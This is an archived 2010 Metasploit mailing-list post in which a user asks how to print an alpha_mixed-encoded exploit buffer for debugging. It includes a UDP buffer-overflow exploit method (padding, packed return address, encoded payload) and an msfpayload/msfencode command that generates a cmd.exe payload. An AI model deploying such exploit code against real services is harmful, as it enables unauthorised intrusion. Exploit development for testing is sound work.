Metasploit mailing list archives

printing payload for debug


From: nahidul kibria <nahidupa () gmail com>
Date: Wed, 2 Jun 2010 09:19:15 -0400

hi,
how can i print final exploit data as alpha numeric i mean x86/alpha_mixed
before final send data

def exploit
        connect_udp
        print_status("Building Crash")
        crash =    "\x00\x01"
        crash += "\x41" * 256
        crash += [target.ret].pack('V')
        crash += payload.encoded
        crash += "\x00"
/////////try to print here..
        print_status(crash)
        udp_sock.put(crash)
        disconnect_udp
    end

or is there anyway to check final exploit output from ./msfconsole after
setting all other options. the way msfpayload do. (./msfpayload windows/cxec
cmd.exe R | ./msfencode -e x86/alpha_mixed)

thanks
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: